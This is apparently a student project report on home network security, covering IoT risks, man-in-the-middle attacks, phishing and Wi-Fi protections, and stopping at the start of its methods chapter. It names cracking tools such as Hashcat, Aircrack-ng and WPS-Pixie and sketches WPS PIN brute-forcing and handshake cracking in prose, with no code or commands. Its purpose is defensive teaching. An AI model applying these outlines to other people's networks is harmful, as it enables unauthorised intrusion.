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[bookmark: _Toc70023092]Abstract

This is a project that researches into current threats facing home networks, it examines a typical modern home in order to identify some of the weaknesses; as well as bringing attention to the reader current threats.  Experiments will demonstrate how these attacks are carried out, as well as methods shown to prevent these attacks.
The project aims to use various cyberattacks to test a typical home network, document the results and provide solutions that help the reader keep their home network safe. After extensive background reading and a review of the current literature, experiments will be created using current hacking tools in an attempt to find weaknesses. Further research and testing will then be carried out to test various ways of preventing the successful attacks. 
The methods used to achieve these attacks are setting up WiFi hacking tools to penetrate various wireless networks; finding a successful Man-In-The-Middle tool that can steal important information from a victim; using a Phishing tool in order to distribute the MITM attack; Setting up a reconnaissance tool that will find information about a network; and then using the information found to take control of a victim’s computer. 
The experiments concluded that it is very important to be wary of clicking links in emails, because there are so many dishonest attempts to attain people’s credentials. Also, that it is recommended to use 2 Factor Authentication as an extra layer of protection – especially a USB security key as they can often prevent unauthorised access.  Devices such as a ‘Firewalla’ can help keep homes safe no matter what type of wireless router they have. It can send an alert when somebody connects to the network, it can block access to certain sites, it can create a VPN to reduce the risks of the family computers etc.


[bookmark: _Toc70023093]

Chapter 1. Introduction

With the Corona-virus pandemic affecting millions of people around the world in 2020, many people find themselves now working from home.  What was once an occasionally used computer is often now being used for work, even connecting to their office network. But how secure is the average person’s home network? How many people are aware of the latest vulnerabilities, social engineering attacks, computer viruses and ransomware? These threats are becoming more and more common, in fact from February to April 2020, there was a 238% increase in financial cyber-attacks[1].
It is almost taken for granted now that we have wireless broadband at home, and more and more devices are now internet-connected. Just a few years ago we would never have imaged our heating system, lighting, TVs and smart-phones would all be connected to the World Wide Web. But every new device that reaches out to the internet, is also a potential risk because this gateway could be used to break in. As most home users are not computer security experts, it is assumed that these devices are secure ‘out of the box’ (without needing any security setting up).  As technology has moved on, so have the criminals. Cybercrime is now big business, carried out by organised teams, there is mafia involvement[2] and even espionage[3]. 
[image: ]
[bookmark: _Toc70023477]Figure 1 - At the start of the Covid-19 pandemic, scams increased by 400% [4]

As soon as the global pandemic started, cybercriminals were registering domains and sending scam emails on a huge scale, and just as many people were starting to re-adjust to home-working, 47% of employees became victims of phishing scams, making COVID-19 the largest ever cybersecurity threat[4], [5]. Many large organisations are making their networks more secure and increasing their budgets for cybersecurity, but also most employees aren’t trained to spot scam emails. As the scams get more sophisticated and more realistic – it becomes easier to fall for a fake email or phone call.
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[bookmark: _Toc70023478]Figure 2 - 47% of employees fell for a phishing scam when starting to work from home[5].
The main reason hackers would want to infiltrate a home or business, is for financial gain, either by stealing credit card information, or holding a person or organisation to ransom in some way. 
There are several types of hacker:  A ‘Black Hat’ illegally gains access to the system and an ‘analyst’ who uses similar techniques in order to find weaknesses in a system, but then alerts the company and fixes the problems (called a ‘White Hat’).
The hacker that is portrayed in movies who is able access a system within a few seconds is a common misconception, it is typically quite a slow process and requires several steps:
1) Information Gathering[6]
2) Reconnaissance[7]
3) Gaining Access[8] 
4) Maintaining Access[9]
5) Clearing Tracks[10],[11].
After thorough background reading, the aim of this report is to recreate a typical home network, then attempt to penetrate the network by using cyberattacks in order to find it’s weaknesses. Then provide a solution to keep the network secure. The objectives start with a literature review on current cyber-attacks. Then to test threats/vulnerabilities on a typical home-network setup using penetration testing software and hardware. The research method for this project is ‘experimental’ because this is the most effective way of testing whether the new network design has blocked attacks that were found previously.
This project will highlight to home users the vulnerabilities in their home networks. The expected outcome of this is to have a tried and tested method of improving network security (reducing the risk of being hacked), that can easily be followed by anyone. Experiments to include:
· WiFi security hack
· Phishing attack
· Man-In-The-Middle Attack
· Network vulnerability scanning
Because these are typical attacks that affect home users.

[bookmark: _Toc70023094]

1.1 Project Aim
The aim of this project is to set up a typical home network and test its security by using cyberattacks, in order to identify the vulnerabilities, then provide a solution to ensure the home network remains secure.

[bookmark: _Toc70023095]1.2 Objectives
The objectives are to:
· [bookmark: _Hlk70009193]Establish an understanding of the current threats and recent attacks by researching cybersecurity topics related to home networks. 
· Gain an understanding of typical weaknesses and vulnerabilities including WiFi security, Man-In-The-Middle attacks, Social-Engineering, Phishing and Windows attacks.
· Produce a critical literature review of existing research in order to demonstrate an overview of the current knowledge.
· Utilise knowledge gained from the literature review to recreate a typical home network and experiment with existing hacking tools in order to penetrate the network and find any weaknesses. Several methods will be attempted such as hacking the victim’s WiFi in an attempt to gain access to the home network, attacking another computer on the same network, gaining access from the internet and tempting the victim with a link to a malicious site.
· Develop methods of resolving all of the shortcomings found during the experiments, (which should be easy for any home user to implement). These methods needs to be tested to ensure the attacks are no longer possible.
· Construct a recommendation for home-workers, including steps they can take to increase their home-network security, and prevent cyber-attacks.



[bookmark: _Toc70023096]Chapter 2. Research & Literature Review 

This chapter is a comprehensive review of existing research on home networks and cyberattacks. It will highlight relevant research which has been carried out in this field to provide a background knowledge of security systems and vulnerabilities; which later on will influence the implementation of the experiments.  

[bookmark: _Toc70023097]2.1 A Typical Modern Home Network
The home network has rapidly evolved - from an internet connection with one PC, to wireless networks being universal with many devices connected from laptops to mobile phones, TVs, security cameras, thermostats – the list is ever increasing[12].  
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[bookmark: _Toc70023479]Figure 3 - A Typical home network via https://telanganatoday.com/secure-your-smart-home-devices-from-hackers

In 2020 there was a huge increase in the number of people working from home[13], and as more business transactions take place there, homes are becoming an increasing target for scammers. Always-on devices such as Amazon’s Alexa are becoming more and more common despite only 9 percent of consumers trusting IoT devices according to a Cisco survey[14], yet people aren’t willing to give them up[15]. Homes have rapidly evolved to have many smart devices, often from many different manufacturers without any overall plan of security, meaning some hosts could become sources of spam, denial-of-service traffic, or  phishing attacks[16]. 

Office computer systems are designed with security in mind, using expensive hardware firewalls, intrusion prevention systems etc, but with home routers and IoT devices, they are usually just added without a second thought to security. According to M. Boussard et al., many IoT devices aren’t adequately secured and can put user’s data and privacy at risk[17].
With many employees working from home nowadays, it is becoming commonplace for people to connect from their home network to the office, opening up a gateway for hackers and malicious code to enter.
The most common threats for a home computer are virus’s, spyware, ransomware and phishing attacks, but scammers can also attempt to break the WiFi security, access the network through insecure IoT devices and even use people’s home computers as ‘zombie’ machines to launch DDoS attacks. 

[bookmark: _Toc70023098]2.2 The Internet of Things (IoT)
The term ‘Internet of Things’ refers to embedded actuators and sensors inside objects: Items not normally considered computers, linked through wired and wireless networks with minimal human intervention; for exchanging data and linking to the internet to make decisions, using electronics, software and network connectivity’[18],[19],[20],[21].

Part of the appeal to this relatively new technology is the ease of use, low cost and the ability to access personal devices anywhere in the world; it can be used to save energy for example by turning off the heating and lighting when nobody is home. But it also has implications that personal data may not be as secure as it once was. The technology was initially created for RFID (Radio-Frequency Identification) in 1999[22], yet wasn’t officially classified as IoT until 2014 when it was brought into the mainstream by Google when they acquired a company called ‘Nest’ (who sell smart thermostats) – for $3.2billion[23]. Since then, the number of IoT devices has rapidly increased, as it predicted to carry on rising for the foreseeable future – see Figure 4:
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[bookmark: _Ref60084980][bookmark: _Toc70023480]Figure 4 - The number of IoT devices worldwide[24]
These devices can range from smart lights, smart phones, voice assistants, smart watches etc. 
To facilitate many IoT devices in one house hold, some companies have decided to provide their own wireless communication rather that share the Wi-Fi between too many hosts, such as the Philips hue lighting system[25] and Netgear’s Arlo security cameras[26]. These ‘base stations’ often use Zigbee[27] or Bluetooth Low Energy (BTLE)[28] instead of WiFi. Not only does this separate transmitter help to reduce Wi-Fi bottlenecks, but also adds a layer of security to the home network[29].
These small, cheap, low powered devices can be an easy way for the public to add smart devices to their home, because a professional installer isn’t required and they are fairly cheap and easy to install; so smart devices have been gradually added to people’s homes, without the consumers giving much thought to the security implications. Also, a lot of these devices weren’t designed with strong security in mind, and many have been hacked already, for example many parents have found a hacker talking to their baby through the IP camera they bought as a baby monitor[30]. 

[bookmark: _Toc70023099]	2.2.1 Security
There are many ways that hackers can compromise IoT, IIoT (Industrial internet of things), and IoMT (Internet of Medical Things) devices, the main reasons for these attacks are shown in Figure 5:
[image: ]
[bookmark: _Ref66374243][bookmark: _Toc70023481]Figure 5 - The main reasons IoT devices are being hacked

To improve security on existing devices, users are encouraged to use 2 Factor Authentication whenever available – which is where in addition to a password, a code is sent to a mobile phone, to authorise the user. In other words, a hacker would need to have access to the victim’s mobile (and password) to be able to log into their smart device. Also, many devices are hacked because the username and password aren’t changed from the default factory settings[14]. One way for manufacturers to increase the security of their devices would be for them to insist that the default credentials must be changed straight away.

To ensure the device’s firmware and data haven’t been tampered with, encryption is required, as well as secure communication and the ability to detect and report any attempted hacks. The security required to enable these features needs to be included in the design of the product and hard-wired inside[31]. Even though there isn’t an industry standard for securing embedded devices, one framework that has been suggested for manufacturers to adopt is shown in Figure 6:
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[bookmark: _Ref60092993][bookmark: _Toc70023482]Figure 6 - A suggested security framework for IoT manufacturers[31]
A common method to increase security which is used by many websites and devices is to send a text to the customer’s mobile, this message contains a code which they have to type in to prove they have the allocated mobile phone with them. This acts as an extra layer of security but has been bypassed by clever hackers who have managed to clone sim cards, or use social engineering techniques to gain access to a sim card with the customer’s phone number. This of course allows them to reset passwords and gain entry to many sites and email accounts[32]. In order to prevent these types of scams, websites now recommend the use of an authenticator app rather than a text message. Microsoft and Google both have ‘Authenticator’ apps available.
The most recent version of this technique involves using a piece of hardware, typically a USB device which creates the necessary keys to authorise the user as genuine[33], known as U2F (Universal 2 Factor). U2F was created by Google and Yubico, there are many of these available from companies such as Titan, Fido, Yubico etc and are particularly useful for logging into banking, trading accounts such as stocks and shares, and more recently crypto-currency sites. Crypto currency platforms have been targeted many times as their value is increasing.

[bookmark: _Toc70023100]	2.2.2 Shodan
‘Shodan’ is a search engine that indexes almost every device that is connected to the internet, it can be used to search for devices, show available ports and give hackers useful information about devices such as known vulnerabilities the host maybe susceptible to. There is an option to write a script to personalise the search capability, for example if there is a vulnerability on a particularly type of hardware, or in an operating system – a script can be written to search for these devices all over the world.  Many people don’t change the default username and password that comes with their IoT device, this helps hackers because standard credentials can be added to a script which can automate many, many login attempts around the world.
Shodan has received a lot of attention because of its ability to recognise and index Internet-facing control system[34], many users of these systems may not realise how much information about their system is publicly exposed[35].
To prevent hackers from succeeding, strong passwords should always be used, software and firmware should be updated regularly and if possible, default log-in details should be changed, strong WiFi security such as WPA2 / WPA3 used, using 2FA and by using a hardware firewall if one isn’t already built into the router. 

IoT devices are also used in other industries for example - transportation systems, or ‘Urban IoT’ as it is known, for the development of smart cities[13]. IoT devices can be added gradually rather than having to invest in the entire system all at once, e.g. in a smart city maybe the car parks have sensors which update an app to show how many spaces are free. This could later be expanded to allow that information to update road signs in order to divert traffic to a different car park when one is full for example. The end goal being that all of the air pollution monitors, traffic monitors, energy consumption monitors etc are all sharing information for ‘big data analysis’ with the aim of improving life for the city’s residents; eventually this could lead to car’s sat nav systems being notified of congestion and adverse weather conditions to prevent accidents and reduce traffic[24]. The security of these devices and the huge store of information they would be capturing is critical.

One aspect of IoT expected to increase in the future is in medical devices, known as IoMT. There are already smart watches, Fitbits, smart-scales etc, but ‘patient monitoring’ is expected to provide powerful patient surveillance through wearable smart devices – so that doctors could be alerted immediately via a secure connection of their patient’s health warnings[36].    
Also, ‘smart agriculture’ devices are starting to emerge which use AI sensors, as this improves, farmers will have better control over crop and soil management, be able to monitor climate conditions, use predictive agricultural analytics and assist their supply chain, making farming more predictable and efficient[37].
In summary, there are a wide variety of devices designed for many different applications, but each one is potentially a security risk if not designed or implemented properly. 

[bookmark: _Toc70023101]2.3 Cyber-attacks
Cyber-attacks take various forms nowadays as computer hackers become more sophisticated, there is also a lot of information online for anyone with enough spare time to be able to teach themselves how to hack. There are scripts already written that make it easy for anyone with a little knowledge and spare time, to first of all search for vulnerable machines, and then use the pre-written scripts to launch an attack. 
Some of the most common are described below:

[bookmark: _Toc70023102]2.3.1 Man-In-The-Middle (MITM)
This type of attack is one of the biggest threats to network security, and represents one of the biggest concerns for IT staff around the world.[38][39]. It involves a hacker intercepting communication in order to either eavesdrop, or to manipulate traffic in some manner. Similar to a mischievous postman who opens people's letters before delivering them. See Figure 7 for an example of eavesdropping:

[image: Man In The Middle Attack - Mitm Attack (893x496), Png Download]
[bookmark: _Ref60430328][bookmark: _Toc70023483]Figure 7 - How MITM attacks are used for eavesdropping. Image from https://www.seekpng.com/ima/u2e6w7e6a9r5o0e6

Also known as ‘Monkey-in-The-Middle Attacks’, ‘TCP session hijacking’ or ‘Session hijacking’. This means that the sender and receiver would be unaware that someone else is reading, and possibly altering the message. Hackers target individuals as well as enterprises and organisations, which has resulted in huge economic losses for companies in the past. 
A common example is a hacker copying the network name and password of a WiFi hotspot, setting up a rogue network with the same details and then turning off the original one. Users in the café think they have had a slight glitch and reconnect using the same details without any concern; but they unknowingly connected to the hacker’s Man-In-The-Middle device, which allows him to see all traffic from these victims.  

One of the reasons MITM attacks are so dangerous is that so much damage can be caused - for example, an attacker could see that a financial transfer is occurring, and change the destination sort code and account number.  Sometimes, corporate networks use this type of    interception to check incoming encrypted content for web threats, but in the wrong hands, it can disrupt networks in a variety of ways such as: 
· ARP spoofing: An attacker pretends to be the internet gateway by sending false ARP packets. This redirects the victim’s computer to the attacker rather than the gateway[40].
· IP spoofing: The attacker intercepts a TCP/IP connection by injecting TCP packets that have predicted sequence numbers. Attackers spoof their source address to disguise / hide their identity, impersonating another computer. This is typically used as the first step of entering a network with the intention of carrying out further attacks[31],[41].
· DNS spoofing: An attacker alters the DNS server setting, so that the user’s computer is unknowingly directed to the attackers server (so all information can be read), the user is then directed to the genuine server so they wouldn’t realise anything has happened) [42].
· Web browser bar spoofing: The attacker buys/registers a domain name that looks very similar to another domain, then sends a false URL to the victim using techniques such as phishing. When the victim clicks on the link, they are taken to a site which could copy their passwords, install a keylogger or other malware[43]. 
· SSL Hijacking: SSL/TLS connections are intercepted, examined, and re-encrypted using a private certificate[44], (usually the victim’s browser and a web server)[38] – see Figure 8:
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[bookmark: _Ref60434654][bookmark: _Toc70023484]Figure 8 - A Victim computer unknowingly connecting through a Man-in-The-Middle[44]
This attack is used to bypass a system that was designed to be secure – that of using public and private keys which is supposed to guarantee a safe end-to-end connection. But the MITM issues their own certificates to the two parties, but neither the end user or the website realise they are receiving fake certificates[44].
· ARP poisoning (also known as ARP spoofing): False ARP messages are sent, which results in the hacker’s MAC address being linked to the IP address of another computer on the network. The attacker can then receive data that was meant for that IP address. 

[bookmark: _Toc70023103]2.3.2 Preventing Attacks.
One method of preventing ARP poisoning attacks is to use Dynamic ARP Inspection[45]. There are programs that make it fairly straight forward for people to poison hosts on the network (such as Ettercap), but if Dynamic ARP inspection is enabled on the switch, this traffic is denied. 
Also, packet filtering could be set up on a switch to catch poisoned packets before they reach their destination. IPv4 wasn’t designed with security in mind, but IPv6 uses Neighbour Discovery Protocol (NDP), which is much more secure - it uses cryptographic keys to authenticate users[46]. 
A Virtual Private Network (VPN), is another way to prevent ARP spoofing. VPN’s send data over encrypted tunnels, so MITM attackers are unable to snoop. They are highly recommended when connecting to public WI-FI in order to block an attacker from infiltrating the network and having access to user’s activity[47].

[bookmark: _Toc70023104]2.3.3 Sybil Attack
A Sybil Attack is usually used in peer-to-peer networks where a member of the network operates several identities simultaneously which undermines the authority (and therefore power) in a ‘reputation system’[48].  51% of attacks being carried out in the block-chain network are Sybil attacks, this technique is also used for creating multiple fake reviews on Amazon and other websites. With 76 million fake Facebook accounts created per week, and 20 million Twitter  accounts[49], these are used to spread fake news and for spreading malware and ransomware as part of social engineering attacks. 

[bookmark: _Toc70023105]2.4 Social Engineering
Rather than use very sophisticated, technical methods to gain access to a building or to a computer system; social engineering exploits human psychology. Relying on the fact that humans are naturally trusting, scammers use confidence tricks to convince someone to divulge their password, rather than use traditional hacking methods. Because of the nature of the attack, they cannot really be prevented by anti-virus software, it is more a case of training users to identify and prevent this type of attack[50]; this is why they are one of the biggest security threats around the world.  
‘98% of cyber-attacks rely on social engineering’[51], and according to a report by Kaspersky, 95% of cybersecurity breaches are due to human error[52],[53]. This is because security systems are becoming more and more sophisticated, and typically the weakest link in the armour of a company’s security is the staff. A metaphor would be a house having many locks, high walls, security guards etc. a burglar may think it would be impossible to gain entry – but a scammer would drive through the front gate smartly dressed and knock on the front door, smile and use a believable story to convince the owner to let them in under false pretences. 

[bookmark: _Toc70023106]2.4.1 Examples
There are many real-world cases, one example is Toyota, who in 2019 lost $37 million after becoming victims of a social engineering attack. Scammers used a BEC (Business Email Compromise) to persuade a company executive to change the bank details of a payee, which resulted in money being sent the to the scammers[54]. BEC attacks are becoming common all over the world, usually targeting finance and accounting departments of large corporations. This was the third attack on Toyota that year, hackers managed to take control of a CEO’s email account, and used it to tell an employee to wire funds to one of their suppliers abroad. Because they are such a large company, this amount wasn’t particularly unusual and the theft wasn’t even noticed for some time. At this level, hackers take their time after first gaining access to the network, to see how their operations work and how emails are typically sent and the type of language commonly used.  So when they actually launch their attack, it is much less likely to be detected as unusual, and more likely to succeed. These types of scams are often carried out by attackers pretending to be company executives or known business partners, by taking control of an email account or by using an email address that looks very similar to the genuine one, this way employees didn’t think twice about where the message has come from. This type of attack requires planning and patience, they quite possibly stole the email credentials during the previous attacks which enabled them to carry out this fraud[54].

In Australia alone, A$176.1m was lost to social engineering scams in 2020, up 23.1% from the previous year, as criminals exploited human psychology for financial gain[55]. 
All around the world there has been so much coverage of the Corona virus pandemic, that emails related to receiving a vaccine can be quite convincing, resulting in the victim being compromised. Also, the scammers will often collect information about the victim’s system and security measures to be used in future attacks. Finally the hackers clean their tracks to avoid being caught and leave backdoors and rootkits behind[56]. 

[bookmark: _Toc70023107]2.4.2 The Process
Generally, most social engineering scams are not instant – often involving researching the victim and building familiarity; most follow a four-stage process:
[image: ]
[bookmark: _Toc70023485]Figure 9 - The four-step sequence to social engineering attacks
This shows how much time is spent on recognisance before the attack, often hackers will have access to a computer system for many weeks. A famous example of this is the Marriot hotel attacks, who had its computer system compromised and hackers had control of their system for many weeks before 383 million customer records were accessed by hackers including details such as passport information, credit card numbers and other personal information. This resulted in the hotel being fined £99,200,396 for breaching the GDPR rules, all thought to be started from a phishing email sent to an employee.

[bookmark: _Toc70023108]2.5 Phishing
Phishing is a combination of technical methods alongside social-engineering in order to trick the user into revealing personal information, such as passwords, bank details etc.[51].  It is a message (usually an email) that is sent out to thousands of recipients at once, in the hope that a few will respond.

[bookmark: _Toc70023109]2.5.1 History
It started in 1995 when a group of hackers sent messages to AOL members while posing as employees[57]. Since then, there have been a huge variety of phishing emails sent out, with the scammers coming up with new ways to deceive people on a regular basis. One of the longest running is known as the ‘Nigerian Prince’ ruse; this email usually starts with someone abroad who claims to be royalty or a distant relative. They offer and investment opportunity to transfer their fortune out of their country but this always ends unhappily for anyone who agrees to it. This has been going on for so long, it is surprising that so many people still fall for it every day - Americans lose approx. $700k every year to these types of frauds[58]. Since then, there have been thousands of different types, and nowadays some are quite sophisticated and plausible.  Essentially, they will try anything to get people to part with their cash, below is a breakdown of the average amount of money lost in each scam – see Figure 10:
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[bookmark: _Ref64824663][bookmark: _Toc70023486]Figure 10 - Average amount of money lost per scam[58],[59].
Since 2005, ‘Phishers’ have been registering many domain names which appear similar to legitimate sites such eBay and PayPal. They then email millions of PayPal customers asking them to update their bank details, or that they need to change their password. When the victim clicks the link in the email it takes them to the rogue site which look exactly like the genuine login screen, but are actually giving the criminals sensitive details. In the early days of these scams – 2005, 1.2 million Americans lost a combined total of $929 million, and organizations still lose $2 billion every year as a result of phishing[57].

[bookmark: _Toc70023110]2.5.2 Ransomware
Fast-forward to 2013, ‘Cryptolocker ransomware’ started infecting personal computers by sending a link in a phishing email. Clicking the link would download a program which encrypted the contents of the victim’s PC. They were then given the option of making a payment to regain access to their own data! 
By 2017 Phishers had started to use HTTPS on their websites which made them appear to be more genuine. By 2018 it was becoming much easier for these advanced phishing emails to be created by anyone. ‘Phishing kits’ are now sold on the dark-web which enabled anyone to download, setup, personalise and launch a phishing campaign which already had the branding of big corporations included. This would collect personal and financial information of potentially thousands of unsuspecting targets[60]. More recently large corporations have been hit by business email compromise (BEC) attack, also known as CEO Fraud, and in 2020 overwhelmingly the attention of the phishing scams have been directed at the Covid-19 pandemic; using emails that try to grab people’s attention by 
· Threatening a fine for coming out of quarantine
· Offering people to register for a vaccine by ‘clicking the link’ 
· Or an update to the latest lockdown rules etc.
[50], [54], [57]. During a crisis, people are more likely to click a rogue email because they are expecting new rules, new information, and are waiting for direction in the unprecedented times. If an email arrives looking like an official government authority that urges the reader to act quickly; it only takes a quick, impulsive click to compromise an account. There are 5 steps required to create a phishing campaign, see Figure 11:

[image: Anatomy of a Phishing Kit [infographic by Duo Security]]

[bookmark: _Ref65245484][bookmark: _Toc70023487]Figure 11 - How phishing kits are setup[61].
Firstly, the legitimate site is cloned, so that when a user clicks the link, they see a familiar screen which doesn’t raise any suspicions. This cloned site hosts the phishing kit which either intends to download malware to the victim’s machine, or it intends to steal credentials. Emails are then sent to millions of potential victims directing them to the compromised site. Both the phishing kits and mailing lists are available for anyone to purchase on the dark web[61], the scammers can send thousands of emails a day and even if only 1% fall for it, it can be quite profitable for the criminals. 

[bookmark: _Toc70023111]2.5.3 Vishing
Voice phishing (vishing) is now quite common. Scammers call on the phone pretending to be a legitimate company, and eventually convince the victim to hand over financial details under false pretences[50].  

[bookmark: _Toc70023112]2.5.4 Smishing
SMS phishing (smishing) is similar to vishing, but is done using text messages. As nearly all mobile phones now have internet capability, the scammers try to fool people with convincing story and encourage them to click a link, which results in malware being installed on their smart phone[56]. This can result in their phones being compromised, potentially letting the scammers have access to their messages, emails, contacts and even their camera.

[bookmark: _Toc70023113]2.5.5 Spear-Phishing 
Typical phishing campaigns are aimed at a large number of targets, Spear-Phishing is aimed at a specific target using personalised emails created specifically for the intended victim. Spear-Phishing campaigns require a lot of reconnaissance to find information that the victim will be able to relate to. This creates a much higher chance of success compared to a generic Phishing email. Nowadays many social media websites store huge amounts of information about people, sites such as LinkedIn and Twitter which can provide information about roles, responsibilities and professional relationships which the scammers can use to their advantage[62]. 

[bookmark: _Toc70023114]2.5.6 Whale phishing, or whaling
A type of Spear-Phishing aimed at CEOs or other level targets. Many of these are directed at company board members, with relevant, well written, very believable message that try to convince large payments to be made (in a similar fashion to how they do regularly to avoid suspicion). Usually involves reconnaissance before the attack to gain an understanding of how the business typically operates[61].

[bookmark: _Toc70023115]2.5.7 Phishing Prevention
Generally, it is quite a difficult attack to prevent, once a scam is well known, Antivirus programs become aware of it and block it, but when an attack is first created, none of the anti-phishing sites and security programs know about it. The best defence is knowledge and awareness, if users know what to look for in the scam emails – they are not clicked on in the first place. Checking the URL is a very good habit, setting up 2FA if possible is worth doing (see Figure 12), also using a USB token such as a Yibico or Titan-key which authenticate the user when the USB adaptor is connected.  
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[bookmark: _Ref68985892][bookmark: _Toc70023488]Figure 12 -  A comparison of 2FA methods. Image courtesy of [63].

Websites such as https://openphish.com/ are actively identifying phishing sites and performing real time analysis on them without any human intervention. www.PhishTank.com  is a free community website where people submit and share phishing data in order to raise awareness of these sites. This is a good way to check if a site is genuine, but if the attack has been well crafted, the victim might not even be suspicious that there is any foul play. Bringing this information together along with an alert for people if they find themselves on a compromised site, there are browser extensions available such as Netcraft – see Figure 13 (also available for email clients and mobiles).
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[bookmark: _Ref65245449][bookmark: _Toc70023489]Figure 13 - Netcraft is a browser extension which of suspicious sites[64]. 
 
[bookmark: _Toc70023116]2.6 Wi-Fi 
Wireless connections in homes have become an accepted normal standard nowadays with internet providers sending customers wireless routers as a matter of course.  Customers expect to be able to wirelessly connect their laptops, phones, printers, TVs, smart speakers etc. What most people don’t realise is the varying levels of security that are available, most of the new routers from big brands have the latest security already installed, but not everyone has the latest equipment, there are also devices such as wireless extenders / range boosters / powerline homeplugs for example that often require setting up by the user and don’t automatically come pre-installed with the best security available. The majority of people don’t think twice about whether anyone has hacked into their network, or even what the consequences of that would be, not many people realise that once a hacker has access to the network, they could snoop on the activity on the other devices, capture their credit card information etc. The evolution of Wi-Fi security is as follows: 

[bookmark: _Toc70023117]2.6.1 WEP
In the early days of WiFi, the industry adopted a security system which used a security algorithm known as WEP (Wired Equivalent Privacy). WEP is a ‘stream cipher’, meaning that data is encrypted in a continuous line, like a stream. WEP intended to provide data “confidentiality, authenticity and integrity”, but it proved to be less secure than expected after numerous security flaws were discovered, and within a few years the Wi-Fi Alliance declared that WEP was no longer considered secure, and WPA (Wi-Fi Protected Access) was to be the new standard[65]. 

[bookmark: _Toc70023118]2.6.2 WPA
This new system was declared the new standard by the WiFi alliance in 2003. It had enhanced security features such 256bit encryption (at least double the previous standard). WPA also used integrity checks (to ensure no packets had been captured or altered) and the use of Temporal Key Integrity Protocol (TKIP). This uses a per-packet key system, which needs more processing power, but is fundamentally more secure than the system used with WEP[66]. Unfortunately, it was based on the WEP system and it didn’t take long before hackers found a way to access it[66]. 

[bookmark: _Toc70023119]2.6.3 WPA2 
Although WPA was harder to crack than WEP, TKIP was just a ‘container’ around WEP, rather than a complete redesign and ultimately was still fairly easy to hack using free programs online, and was replaced by WPA2 in 2006. The main benefit of this version of WiFi security is the use of Advanced Encryption Standard (AES) as a replacement for TKIP[67] as it is much more secure. This was designed to provide confidentiality, authenticity and integrity, which neither WEP nor TKIP managed to do effectively[68].

Despite the improvements in the WiFi security protocol WPA2, it is not completely infallible and a weakness was documented by Vanhoef and Piessens in their paper “Key Reinstallation Attacks(KRACK): Forcing Nonce Reuse in WPA2”[67]. KRACK involves making the 4-way handshake appear to be generating a new encryption key, but it’s actually reusing a previously issued key. Since then, a new standard has been introduced:

[bookmark: _Toc70023120]2.6.4 WPA3
One of the biggest shortfalls of Wi-Fi has been the lack of encryption on public networks. For example, a hacker could join a public hotspot WiFi network, and with the right tools start snooping on other users connected to same network. To prevent this, WPA3 uses Simultaneous Authentication of Equals (SAE), which prevents users from being able to see any other user’s traffic, even when they are connected to the network[69]. 

A program called Hashcat can be used to crack WPA2 WiFi security by ‘bruteforce’ attacking the password. There are others sush as Aircrack-ng which anyone can download for free and attempt to crack the wireless password. Operating systems like Kali Linux have many hacking tools included and there is even an OS specifically for wireless hacking tools called ‘Xiaopan OS’, so securing the network is important, especially if living in close proximity to others.

[bookmark: _Toc70023121]2.6.5 WPS Attack
A weakness in the WPS protocol can be used to bypass the security of any router that uses WPS, this is due to the way that the pin code is verified - it is actually checked in 2 halves and these are verified independently. This considerably reduces the strength of the long pin, because the first half only has 10,000 possible combinations. If this was brute force-attacked at a speed of 1 PIN every second, this would take almost 3 hours to try all of the possible combinations.
The second part of the PIN consists of 3 numbers, so this only has 1,000 combinations and would only take 16 minutes to guess all possible combinations. This shows how the WPS protocol does not make the most of the security offered by an 8 digit PIN, and could be cracked within a few hours.

[bookmark: _Toc70023122]2.6.5 Securing Wi-Fi Networks 
The first step to making wireless networks as secure as possible is to use the most recent security available, preferably WPA3 if possible. Also, there is a myth that hiding the name of the network (SSID) that it will be harder for hackers to see, but the problem is the devices that connect to the network have to keep calling out the name of the hidden network. This lets scammers track the device that’s calling for the hidden network as it is being announced to the world[70].
A good practice to make networks less accessible by hackers is to use a VPN, this encrypts the data before it is transmitted so even if a hacker is snooping on the traffic, it would be unreadable. These can be installed on the end device and makes a secure ‘tunnel’ - worth the relatively low cost for security and privacy[47]. 
WPS can make it convenient to connect printers and TV’s etc to the network without having to type the long password, but hackers can scan for networks that are using WPS and attack them using programs like WPS-Pixie[71]. If the scammer is able to get a WPS pin, they’ll be able to get access to the Wi-Fi no matter how secure the password is.
[image: ]
[bookmark: _Toc70023490]Figure 14 - Scanning tool that shows WPS version. Image courtesy of [70]
tools such as ‘Airgeddon’  can show the WPS version, and then other programs can brute-force attack the PIN number as well as WPS-Pixie attacks, which can allow hackers to gain access in around 15 seconds[70].
A simple tip to increase security of a wireless network is to use a unique, long password. If it is listed amongst the million most common passwords out there, it would only take a hacker a matter of minutes because they would just need to capture a handshake, load that information into an offline tool such as Hashcat, and wait while the program tries every password in its list[72]. 
It is important to update your devices firmware and drivers often to keep up to date with the latest security standards. One last option which has been mentioned previously, is that of changing the default username and password on the router. If the default credentials like “admin” or “password” are left on a device, scammers can install malicious firmware which spies on users or could be used as a private VPN for illegal activity around the world. The final section is details of wireless security – how it has evolved, and how hackers are circumventing these measures.
[bookmark: _Toc7164850][bookmark: _Toc70023123]Chapter 3. Research and Development Methods

This section is to describe the philosophy, outline the research methodology, including the planned experiments and expected outcomes. It will also discuss the risks and limitations involved to make sure this work is as accurate as possible. 

[bookmark: _Toc7164852][bookmark: _Toc70023124]3.1 Research philosophy 
There are many different possible approaches to research, the main deciding factor is which type of study will be carried out. Figure 15 was designed by Saunders et al (2007), it shows the stages of researcher’s work. Saunders believed that each layer would have to be completed in order for a researcher to get the best results. It includes all of the strategies, techniques and philosophies:
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[bookmark: _Ref69831619][bookmark: _Toc70023491]Figure 15 - The research onion, image courtesy of ‘Research Methods – Saunders’[73]. 

As this research involves data derived from sensory experience (repeatable experiments), the philosophy taken will be that of the natural scientist, working with observable reality[74], [73] – known as positivism. This is defined by Hinkelmann, Witchel and Friedrich as:

“Being able to observe the world in a neutral and objective way, discover relationships, derive and test theories. All observations should be repeatable”[75].

An alternative philosophy could have been taken such as ‘interpretivism’ but this relies on subjective interpretations from ‘social actors’[73], [75].  The research philosophy used for this experiment is Epistemology because it requires finding information to prove your argument without a doubt. Other researchers work will first be analysed and described; then compared to the results gained through rigorous testing. Positivism, critical realism and interpretivism are the philosophical views which are all under the epistemology worldview.

Research completed by Aleksandras Melnikovas, explained the process of ‘unpeeling’ each layer of the onion layer by layer in his paper “Adapting Research Onion Model for Futures Studies”[76] and adapted the steps slightly and updated the image – see Figure 16:
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[bookmark: _Ref65779959][bookmark: _Toc70023492]Figure 16 - The research onion as shown by Aleksandras Melnikovas[76].

[bookmark: _Toc7164853][bookmark: _Toc70023125]3.1.1 Research approach
